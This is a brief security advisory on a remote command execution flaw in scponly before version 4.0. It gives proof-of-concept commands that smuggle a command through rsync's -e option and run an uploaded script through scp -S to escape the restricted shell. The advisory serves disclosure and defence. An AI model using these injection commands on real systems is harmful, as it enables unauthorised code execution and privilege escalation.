scponly is reported prone to a remote arbitrary command execution vulnerability. This issue may allow a remote attacker to execute commands and scripts on a vulnerable computer and eventually allow an attacker to gain elevated privileges on a vulnerable computer.
Versions prior to 4.0 are reported susceptible to this issue.
ssh restricteduser@remotehost 'rsync -e "touch /tmp/example --" localhost:/dev/null /tmp'
scp command.sh restricteduser@remotehost:/tmp/command.sh
ssh restricteduser@remotehost 'scp -S /tmp/command.sh localhost:/dev/null /tmp'